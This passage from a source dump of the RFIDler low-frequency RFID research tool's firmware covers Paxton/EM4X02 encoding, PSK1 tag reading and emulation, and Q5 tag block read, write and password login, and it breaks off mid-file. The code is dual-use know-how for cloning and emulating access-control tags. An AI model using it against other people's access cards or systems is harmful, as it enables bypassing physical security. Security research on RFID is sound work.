(8 digits) to paxton encoded 64 bit binary array\n// which is the same as EM4X02 but with source hex arranged in a different order\n// and we are missing the 2nd BYTE value which is assumed to be 00 (or may be ignored?)\nBOOL hex_to_paxton_bin(unsigned char *paxton, unsigned char *hex)\n{\n    unsigned char tmp1[8], tmp2[40], tmp3[11];\n    unsigned long id;\n    \n    if(strlen(hex) > 8)\n        return FALSE;\n\n    // pad to 8 hex digits\n    memset(tmp1, '0', 8);\n    memcpy(tmp1 + 8 - strlen(hex), hex, strlen(hex));\n    \n    id= hextoulong(tmp1);\n    id -= 0x143e00UL;\n    memset(tmp3, '0', 10);\n    ulongtohex(&tmp3[2], id);\n    memcpy(tmp3, &tmp3[2], 2);\n    tmp3[2]= '0';\n    tmp3[3]= '0';\n    tmp3[10]= 0x00;\n    \n    hextobinarray(tmp2, tmp3);\n    // encode for em4x02\n    bin_to_em4x02_bin(paxton, tmp2);\n    return TRUE;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/psk.c",
    "content": "/***************************************************************************\r\n * A copy of the GNU GPL is appended to this file.                         *\r\n *                                                                         *\r\n * This licence is based on the nmap licence, and we express our gratitude *\r\n * for the work that went into producing it. There is no other connection  *\r\n * between RFIDler and nmap either expressed or implied.                   *\r\n *                                                                         *\r\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\r\n *                                                                         *\r\n *                                                                         *\r\n * All references to RFIDler herein imply all it's derivatives, namely:    *\r\n *                                                                         *\r\n * o RFIDler-LF Standard                                                   *\r\n * o RFIDler-LF Lite                                                       *\r\n * o RFIDler-LF Nekkid                                                     *\r\n *                                                                         *\r\n *                                                                         *\r\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\r\n *                                                                         *\r\n * This program is free software; you may redistribute and/or modify it    *\r\n * under the terms of the GNU General Public License as published by the   *\r\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\r\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\r\n * right to use, modify, and redistribute this software under certain      *\r\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\r\n * software or hardware, we sell alternative licenses                      *\r\n * (contact sales@aperturelabs.com).                                       *\r\n *                                                                         *\r\n * Note that the GPL places important restrictions on \"derivative works\",  *\r\n * yet it does not provide a detailed definition of that term.  To avoid   *\r\n * misunderstandings, we interpret that term as broadly as copyright law   *\r\n * allows.  For example, we consider an application to constitute a        *\r\n * derivative work for the purpose of this license if it does any of the   *\r\n * following with any software or content covered by this license          *\r\n * (\"Covered Software\"):                                                   *\r\n *                                                                         *\r\n * o Integrates source code from Covered Software.                         *\r\n *                                                                         *\r\n * o Is designed specifically to execute Covered Software and parse the    *\r\n * results (as opposed to typical shell or execution-menu apps, which will *\r\n * execute anything you tell them to).                                     *\r\n *                                                                         *\r\n * o Includes Covered Software in a proprietary executable installer.  The *\r\n * installers produced by InstallShield are an example of this.  Including *\r\n * RFIDler with other software in compressed or archival form does not     *\r\n * trigger this provision, provided appropriate open source decompression  *\r\n * or de-archiving software is widely available for no charge.  For the    *\r\n * purposes of this license, an installer is considered to include Covered *\r\n * Software even if it actually retrieves a copy of Covered Software from  *\r\n * another source during runtime (such as by downloading it from the       *\r\n * Internet).                                                              *\r\n *                                                                         *\r\n * o Links (statically or dynamically) to a library which does any of the  *\r\n * above.                                                                  *\r\n *                                                                         *\r\n * o Executes a helper program, module, or script to do any of the above.  *\r\n *                                                                         *\r\n * This list is not exclusive, but is meant to clarify our interpretation  *\r\n * of derived works with some common examples.  Other people may interpret *\r\n * the plain GPL differently, so we consider this a special exception to   *\r\n * the GPL that we apply to Covered Software.  Works which meet any of     *\r\n * these conditions must conform to all of the terms of this license,      *\r\n * particularly including the GPL Section 3 requirements of providing      *\r\n * source code and allowing free redistribution of the work as a whole.    *\r\n *                                                                         *\r\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\r\n * permission to link the code of this program with any version of the     *\r\n * OpenSSL library which is distributed under a license identical to that  *\r\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\r\n * linked combinations including the two.                                  *\r\n *                                                                         *\r\n * Any redistribution of Covered Software, including any derived works,    *\r\n * must obey and carry forward all of the terms of this license, including *\r\n * obeying all GPL rules and restrictions.  For example, source code of    *\r\n * the whole work must be provided and free redistribution must be         *\r\n * allowed.  All GPL references to \"this License\", are to be treated as    *\r\n * including the terms and conditions of this license text as well.        *\r\n *                                                                         *\r\n * Because this license imposes special exceptions to the GPL, Covered     *\r\n * Work may not be combined (even as part of a larger work) with plain GPL *\r\n * software.  The terms, conditions, and exceptions of this license must   *\r\n * be included as well.  This license is incompatible with some other open *\r\n * source licenses as well.  In some cases we can relicense portions of    *\r\n * RFIDler or grant special permissions to use it in other open source     *\r\n * software.  Please contact sales@aperturelabs.com with any such requests.*\r\n * Similarly, we don't incorporate incompatible open source software into  *\r\n * Covered Software without special permission from the copyright holders. *\r\n *                                                                         *\r\n * If you have any questions about the licensing restrictions on using     *\r\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\r\n * offer alternative license to integrate RFIDler into proprietary         *\r\n * applications and appliances.  These contracts have been sold to dozens  *\r\n * of software vendors, and generally include a perpetual license as well  *\r\n * as providing for priority support and updates.  They also fund the      *\r\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\r\n * for further information.                                                *\r\n * If you have received a written license agreement or contract for        *\r\n * Covered Software stating terms other than these, you may choose to use  *\r\n * and redistribute Covered Software under those terms instead of these.   *\r\n *                                                                         *\r\n * Source is provided to this software because we believe users have a     *\r\n * right to know exactly what a program is going to do before they run it. *\r\n * This also allows you to audit the software for security holes (none     *\r\n * have been found so far).                                                *\r\n *                                                                         *\r\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\r\n * and add new features.  You are highly encouraged to send your changes   *\r\n * to the RFIDler mailing list for possible incorporation into the         *\r\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\r\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\r\n * them into the RFIDler source code repository, it is understood (unless  *\r\n * you specify otherwise) that you are offering the RFIDler Project        *\r\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\r\n * modify, and relicense the code.  RFIDler will always be available Open  *\r\n * Source, but this is important because the inability to relicense code   *\r\n * has caused devastating problems for other Free Software projects (such  *\r\n * as KDE and NASM).  We also occasionally relicense the code to third     *\r\n * parties as discussed above. If you wish to specify special license      *\r\n * conditions of your contributions, just say so when you send them.       *\r\n *                                                                         *\r\n * This program is distributed in the hope that it will be useful, but     *\r\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\r\n * license file for more details (it's in a COPYING file included with     *\r\n * RFIDler, and also available from                                        *\r\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\r\n *                                                                         *\r\n ***************************************************************************/\r\n\r\n// Author: Adam Laurie <adam@aperturelabs.com>\r\n\r\n// psk functions\r\n// PSK1 - Phase change signals bit value change\r\n\r\n\r\n#include \"HardwareProfile.h\"\r\n#include \"rfidler.h\"\r\n#include \"psk.h\"\r\n#include \"emulate.h\"\r\n#include \"USB/usb.h\"\r\n#include \"clock.h\"\r\n\r\n// high level routines\r\n\r\n\r\n\r\n// read a PSK1 bitstream and find start of data\r\n//\r\n// parameters:\r\n//\r\n//   period_us    - clock period in uS\r\n//   ticks        - clock periods per bit\r\n//   data         - buffer for final data [no. of bits])\r\n//   bits         - no. of bits to read (always specify in bits, not bytes)\r\n//   leadin       - no. of leading '0' bits\r\n//   bytes        - if set, return data as bytes, otherwise bits\r\n//   timeout_us   - timeout in uS, 0 for blocking\r\n//   min_pulse_us - mininum pulse width from external reader for 'good' read. 0 for read anything.\r\n//\r\n// return:\r\n//\r\n//   data will be filled with one byte per bit (value 0x00 or 0x01)\r\n//   return will be 0 if leadin not found, or no. of BITS read\r\n// specify oneshot if data is not repeated (i.e. in response to a command rather than a cycling UID)\r\nunsigned int read_psk1_data(unsigned int period_us, unsigned int ticks, BYTE *data, unsigned int bits, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, unsigned int min_pulse_us, BOOL oneshot, BYTE format)\r\n{\r\n    unsigned int i= 0, j;\r\n    BYTE found= 0, inverted= 0, repeat;\r\n\r\n   if(oneshot)\r\n        repeat= 1;\r\n    else\r\n        repeat= 2;\r\n\r\n    // if we're not doing a 1-shot read, we can grab double the data to allow for sync search\r\n    read_PSK1_HW_clock(period_us, ticks, TmpBits, bits * repeat, timeout_us, min_pulse_us);\r\n\r\n    if(FakeRead)\r\n        return 0;\r\n\r\n    // reset timer\r\n    if(timeout_us)\r\n        GetTimer_us(RESET);\r\n\r\n    // wait for semaphore to tell us read has finished\r\n    while(mLED_Read == mLED_ON)\r\n        if(timeout_us)\r\n            if (GetTimer_us(NO_RESET) > timeout_us)\r\n                return 0;\r\n\r\n    if(PSK_Read_Error)\r\n        return 0;\r\n\r\n    // find start of data\r\n    while(syncbits)\r\n    {\r\n        for(i= j= found= 0 ; i < bits * repeat ; ++i)\r\n        {\r\n            if(TmpBits[i] == getbit(sync[j / 8], 7 - (j % 8)))\r\n                ++j;\r\n            else\r\n            {\r\n                i -= j;\r\n                j= 0;\r\n            }\r\n\r\n            if(j == syncbits)\r\n            {\r\n                found= 1;\r\n                break;\r\n            }\r\n        }\r\n\r\n        // point at start of sync\r\n        i -= syncbits - 1;\r\n\r\n        if(found)\r\n            break;\r\n        if(inverted)\r\n            return 0;\r\n        // with PSK we have no way of knowing if 1st bit was a 0 or 1, so invert data and try again\r\n        inverted= 1;\r\n        for(i= 0 ; i < bits * repeat ; ++i)\r\n            TmpBits[i] ^= 1;\r\n    }\r\n\r\n    // copy to output buffer\r\n    switch(format)\r\n    {\r\n        case HEX:\r\n            return binarraytohex(data, TmpBits + i, bits);\r\n\r\n        case BINARY:\r\n        default:\r\n            memcpy(data, TmpBits + i, bits);\r\n            data[bits]= '\\0';\r\n            return bits;\r\n    }\r\n}\r\n\r\nBOOL send_psk1_hex(unsigned char *data, unsigned int pulsewidth, unsigned int tpb, unsigned int c0, unsigned int repeat)\r\n{\r\n    unsigned int length;\r\n    BYTE tmp[256];\r\n\r\n    if(!(length= hextobinarray(tmp, data)))\r\n        return FALSE;\r\n\r\n    return send_psk1_bin(tmp, length, pulsewidth, tpb, c0, repeat);\r\n}\r\n\r\nBOOL send_psk1_bin(unsigned char *data, unsigned int length, unsigned int pulsewidth, unsigned int tpb, unsigned int c0, unsigned int repeat)\r\n{\r\n    BYTE tmp[512];\r\n\r\n    // manchester encoding with PSK is not done in the baseband, so pre-encode\r\n    if(RFIDlerConfig.Manchester)\r\n        length= manchester_encode(tmp, data, length);\r\n    else\r\n        memcpy(tmp, data, length);\r\n\r\n    tmp[length]= '*';\r\n    write_PSK1_HW_clock(pulsewidth, tmp, tpb, c0, repeat);\r\n    return TRUE;\r\n}\r\n\r\n// low level write routines\r\n\r\n// h/w clock PSK emulator - initialise data pointers for ISR and start timer 2\r\n// args: clock period, data as array of 0/1, fc per bit, sub-carrier ticks, repeat\r\nvoid write_PSK1_HW_clock(unsigned int period, BYTE *data, unsigned int fcpb, unsigned int c0, unsigned int repeat)\r\n{\r\n    // convert to ticks\r\n    period= CONVERT_TO_TICKS(period);\r\n    // for psk we want a full clock cycle, not a tick\r\n    period *= 2;\r\n\r\n    // point globals at data for ISR\r\n    EMU_ThisBit= *data;\r\n    EMU_Data= data + 1;\r\n    EMU_Reset_Data= data;\r\n    EMU_DataBitRate= fcpb;\r\n    EMU_SubCarrier_T0= c0;\r\n    EMU_Repeat= repeat;\r\n\r\n    // set mode\r\n    EmulationMode= MOD_MODE_PSK1;\r\n\r\n    // make sure no clock is running\r\n    stop_HW_clock();\r\n\r\n    // make sure nobody's using our timers\r\n    CloseTimer3();\r\n\r\n    // tri-state on, clock low\r\n    READER_CLOCK_ENABLE_ON();\r\n    CLOCK_COIL= LOW;\r\n\r\n    // emulator mode\r\n    COIL_MODE_EMULATOR();\r\n\r\n    // this is also a semaphore so the rest of the code knows we're running\r\n    mLED_Emulate_On();\r\n\r\n    // start timer - ISR will send data\r\n    OpenTimer3( T3_ON | T3_PS_1_1 | T3_SOURCE_INT, period / 2L - 1L);\r\n    mT3SetIntPriority(6);\r\n    mT3ClearIntFlag();\r\n    mT3IntEnable(TRUE);\r\n}\r\n\r\n// low level read routines\r\n\r\n// h/w clock reader - initialise data pointers for ISR and start timers\r\n// timer2 creates clock output for external reader\r\n// timer4 reads data bit values\r\n// period_us == clock for reader\r\n// ticks == clock periods per bit\r\n// bits == number of bits to read\r\n// min_pulse_us == minimum external reader pulswidth for a 'good' read, 0 for read 'anything'\r\n\r\nvoid read_PSK1_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us, unsigned int min_pulse_us)\r\n{\r\n    // point globals at data for ISR\r\n    EMU_Data= data;\r\n    HW_Bits= bits;\r\n    PSK_Min_Pulse= min_pulse_us;\r\n    PSK_Read_Error= FALSE;\r\n\r\n    memset(EMU_Data, '\\0', bits);\r\n\r\n    // stop USB interfering\r\n    USBMaskInterrupts();\r\n\r\n    // start clock if not already running\r\n    if(!mGetLED_Clock() == mLED_ON)\r\n    {\r\n        InitHWReaderClock(OC_TOGGLE_PULSE, period / 2L, period, RWD_STATE_ACTIVE);\r\n\r\n        // give reader time to wake up and settle\r\n        Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);\r\n    }\r\n\r\n    // reset timer for timeout\r\n    GetTimer_us(RESET);\r\n\r\n    // align ourselves to reader's bit period by finding start of a pulse\r\n    while(READER_DATA)\r\n        if(timeout_us)\r\n            if (GetTimer_us(NO_RESET) > timeout_us)\r\n                return;\r\n    while(!READER_DATA)\r\n        if(timeout_us)\r\n            if (GetTimer_us(NO_RESET) > timeout_us)\r\n                return;\r\n        \r\n    // reset timer for external timeouts\r\n    GetTimer_us(RESET);\r\n\r\n    // start ISR to read PSK data\r\n    InitHWReaderISR(CONVERT_TO_TICKS(period) * ticks - 1L, TRUE);\r\n}\r\n\r\nBOOL psk1_raw_get_uid(BYTE *response)\r\n{\r\n    unsigned int i;\r\n    BYTE tmp[MAXUID + 1];\r\n    BOOL blank= TRUE;\r\n\r\n    memset(tmp, '0', MAXUID);\r\n    tmp[MAXUID]= '\\0';\r\n\r\n    if(!read_psk1_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, RFIDlerConfig.PSK_Quality, FALSE, HEX) == RFIDlerConfig.DataBits)\r\n        return FALSE;\r\n\r\n    for(i= 0 ; i < strlen(tmp) ; ++i)\r\n        if(tmp[i] != '0')\r\n            blank= FALSE;\r\n\r\n    if(blank)\r\n        return FALSE;\r\n\r\n    strcpy(response, tmp);\r\n    return TRUE;\r\n}\r\n\r\n// resturn interpreted UID\r\nBOOL psk1_raw_hex_to_uid(BYTE *response, BYTE *hex)\r\n{\r\n    if(!strlen(hex))\r\n        return FALSE;\r\n\r\n    strcpy(response, hex);\r\n    return TRUE;\r\n}\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/q5.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"q5.h\"\n#include \"ask.h\"\n#include \"rwd.h\"\n#include \"util.h\"\n#include \"comms.h\"\n#include \"config.h\"\n\nconst BYTE *Q5_Modulation[]= {\"Manchester\", \"PSK1\", \"PSK2\", \"PSK3\", \"FSK1\", \"FSK2\", \"Biphase\", \"NRZ/Direct\"};\nconst BYTE PSK_Rates[]= {2, 4, 8, 8};\n\n// q5 needs special timings etc., so have a master send command routine to keep things simple\n// response length in bits\nBOOL q5_send_command(BYTE *response, BYTE *command, BYTE length, BOOL reset, BOOL sync, BYTE response_length)\n{\n    // send command\n    if(!rwd_send(command, length, reset, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, Q5_START_GAP - RFIDlerConfig.RWD_Gap_Period, 0, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n        return FALSE;\n        \n    if(!response_length)\n        return TRUE;\n\n    // wait for Q5 damping to kick in: q5 may create a false pulse during RWD receipt, so wait for it to recognise\n    // command and shut down before trying to read response.\n    GetTimer_us(RESET);\n    while(READER_DATA)\n        if(GetTimer_us(NO_RESET) > RFIDlerConfig.Timeout)\n            return FALSE;\n\n    // skip leading '0'\n    HW_Skip_Bits= 2;  // 2 primitive 'bits' manchester encoded\n    \n//    DEBUG_PIN_4= !DEBUG_PIN_4;\n//    DEBUG_PIN_4= !DEBUG_PIN_4;\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, response, response_length, RFIDlerConfig.Sync, sync ? RFIDlerConfig.SyncBits : 0, RFIDlerConfig.Timeout, ONESHOT_READ, HEX) == response_length)\n    {\n        // delay for RX->TX time\n        Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wait_Switch_RX_TX) / 100);\n        return TRUE;\n    }\n\n    return FALSE;\n}\n\n// get raw UID\nBOOL q5_get_uid(BYTE *response)\n{\n    BYTE tmp[17]; // 16 hex digits\n\n    // q5 will be stuck if last command was a read or write, so always hard reset\n    stop_HW_clock();\n\n    // delay for sleep period\n    Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Sleep_Period) / 100);\n\n    // delay for startup time\n    //Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);\n\n    // q5 has fixed em4x02 style data in page 1\n    if(q5_send_command(tmp, Q5_GET_TRACE_DATA, strlen(Q5_GET_TRACE_DATA), NO_RESET, SYNC, 64))\n    {\n        strcpy(response, tmp);\n        return TRUE;\n    }\n    return FALSE;\n}\n\n// convert raw 64 bit HEX UID to 10 digit human readable hex\nBOOL q5_hex_to_uid(BYTE *response, BYTE *hex)\n{\n    // q5 is the same as em4x02\n    return em4x02_hex_to_uid(response, hex);\n}\n\nBOOL q5_read_block(BYTE *response, BYTE block)\n{\n    BYTE tmp[39], retry, reset= FALSE;\n\n    if(block > Q5_DATABLOCKS - 1)\n        return FALSE;\n\n    // create 6 or 38 bit command block: Q5_DIRECT_ACCESS + PWD_Mode + [PWD] + 3 bits address\n    memset(tmp, '\\0', 39);\n    memcpy(tmp, Q5_DIRECT_ACCESS, 2);\n    if(PWD_Mode)\n    {\n        hextobinstring(tmp + 2, Password);\n        tmp[34]= '0';\n        inttobinstring(tmp + 35, (unsigned int) block, 3);\n    }\n    else\n    {\n        tmp[2]= '0';\n        inttobinstring(tmp + 3, (unsigned int) block, 3);\n    }\n\n    retry= RFIDlerConfig.Repeat;\n    while(retry--)\n    {\n        //DEBUG_PIN_4= !DEBUG_PIN_4;\n        //DEBUG_PIN_4= !DEBUG_PIN_4;\n        if(q5_send_command(response, tmp, strlen(tmp), reset, NO_SYNC, 32))\n            return TRUE;\n    }\n\n    return FALSE;\n}\n\n// optional verify as writing config block may casue next read to fail\nBOOL q5_write_block(BYTE block, BYTE *data, BOOL lock, BOOL verify)\n{\n    BYTE tmp[71], p;\n\n    if(block > Q5_DATABLOCKS - 1)\n        return FALSE;\n\n    // create 38 or 70 bit command block: Q5_STD_WRITE_P0 + [PWD] + Lock Bit + 32 bits Data + 3 bits address\n    memset(tmp, '\\0', sizeof(tmp));\n\n    // command\n    memcpy(tmp, Q5_WRITE_P0, 2);\n    p= 2;\n\n    // password\n    if(PWD_Mode)\n    {\n        hextobinstring(tmp + p, Password);\n        p += 32;\n    }\n\n    // lockbit\n    inttobinstring(tmp + p, (unsigned int) lock, 1);\n    ++p;\n\n    // data\n    hextobinstring(tmp + p, data);\n    p += Q5_BLOCKSIZE;\n\n    // address\n    inttobinstring(tmp + p, (unsigned int) block, 3);\n    p += 3;\n\n    // send\n    if(!q5_send_command(NULL, tmp, strlen(tmp), NO_RESET, NO_SYNC, 0))\n         return FALSE;\n    \n    // no ack, so read back and verify\n    // delay for long enough to allow write plus TX->RX period\n    Delay_us((Q5_WRITE_DELAY * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_TX_RX * RFIDlerConfig.FrameClock) / 100L);\n    \n    if(!verify)\n        return TRUE;\n\n    if(!q5_read_block(tmp, block))\n        return FALSE;\n    if(memcmp(tmp, data, HEXDIGITS(Q5_BLOCKSIZE)) != 0)\n        return FALSE;\n\n    return TRUE;\n}\n\n// set password and mode, and return UID\nBOOL q5_login(BYTE *response, BYTE *pass)\n{\n    BYTE tmp[36];\n\n    // check we need password - if we can get UID without, then we don't\n    if(q5_get_uid(tmp))\n        return FALSE;\n\n    if(strlen(pass) == 0)\n        pass= Q5_DEFAULT_PWD;\n\n    memcpy(tmp, Q5_AOR, 2);\n    hextobinstring(tmp + 2, pass);\n    tmp[34]= '\\0';\n\n    // send password\n    if (!q5_send_command(NULL, tmp, strlen(tmp), NO_RESET, NO_SYNC, 0))\n        return FALSE;\n\n    // see if we can now get UID\n    if(!q5_get_uid(tmp))\n        return FALSE;\n\n    PWD_Mode= TRUE;\n    strcpy(Password, pass);\n    strcpy(response, pass);\n    return TRUE;\n}\n\n// try to find values that correctly transmit all commands to q5\n// to test this properly, q5 should have invalid data in it's data blocks\n// so that only a GET_TRACE_DATA command will return a true value\nBOOL q5_rwd_test(BYTE *pattern)\n{\n    BYTE gap, one, zero, tmp[Q5_BLOCKSIZE + 1];\n    BOOL found= FALSE, blank;\n\n    // min/max from datasheets\n    for(one= 48 ; one <= 63 ; ++one)\n        for(zero= 16; zero <= 31 ; ++zero)\n            for(gap=  10 ; gap <= 50 ; ++gap)\n            {\n                RFIDlerConfig.Manchester= TRUE;\n                blank= TRUE;\n                if(get_user_abort())\n                    return found;\n                RFIDlerConfig.RWD_Gap_Period= gap;\n                RFIDlerConfig.RWD_One_Period= one;\n                RFIDlerConfig.RWD_Zero_Period= zero;\n                // reset tag\n                get_tag_uid(tmp);\n                // try to switch off modulation\n                rwd_send(Q5_MODULATION_DEFEAT, strlen(Q5_MODULATION_DEFEAT), NO_RESET, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, RFIDlerConfig.RWD_Gap_Period, 0, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX);\n                // read a block with no sync & no manchester - will be all '0' if not modulating\n                RFIDlerConfig.Manchester= FALSE;\n                if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, 0, RFIDlerConfig.Timeout, NO_ONESHOT_READ, HEX) == RFIDlerConfig.DataBits)\n                {\n                    if(strcmp(tmp, \"0000000000000000\") != 0)\n                            blank= FALSE;\n                    RFIDlerConfig.Manchester= TRUE;\n                    if(blank && get_tag_uid(tmp) && q5_read_block(tmp, 0))\n                    {\n                        UserMessageNum(\"\\r\\nFound tag with gap %d\", gap);\n                        UserMessageNum(\" one %d\", one);\n                        UserMessageNum(\" zero %d\", zero);\n                        found= TRUE;\n                    }\n                }\n            }\n    UserMessage(\"%s\", \"\\r\\n\");\n    return found;\n}\n\nBOOL q5_config_block_show(BYTE *config, BYTE *password)\n{\n    uint32_t    value= hextoulong(config);\n\n    UserMessage(\"  Config Block (0): %.8s\\r\\n\\r\\n\", config);\n    UserMessage(\"       Page Select: %s\\r\\n\", GET_CONFIG(value, Q5_MASK_PAGE_SELECT, Q5_SHIFT_PAGE_SELECT) ? \"True\" : \"False\");\n    UserMessage(\"        Fast Write: %s\\r\\n\", GET_CONFIG(value, Q5_MASK_FAST_WRITE, Q5_SHIFT_FAST_WRITE) ? \"True\" : \"False\");\n    UserMessageNum(\"         Data Rate: %02d = \", GET_CONFIG(value, Q5_MASK_DATA_BIT_RATE, Q5_SHIFT_DATA_BIT_RATE));\n    UserMessageNum(\"%d * 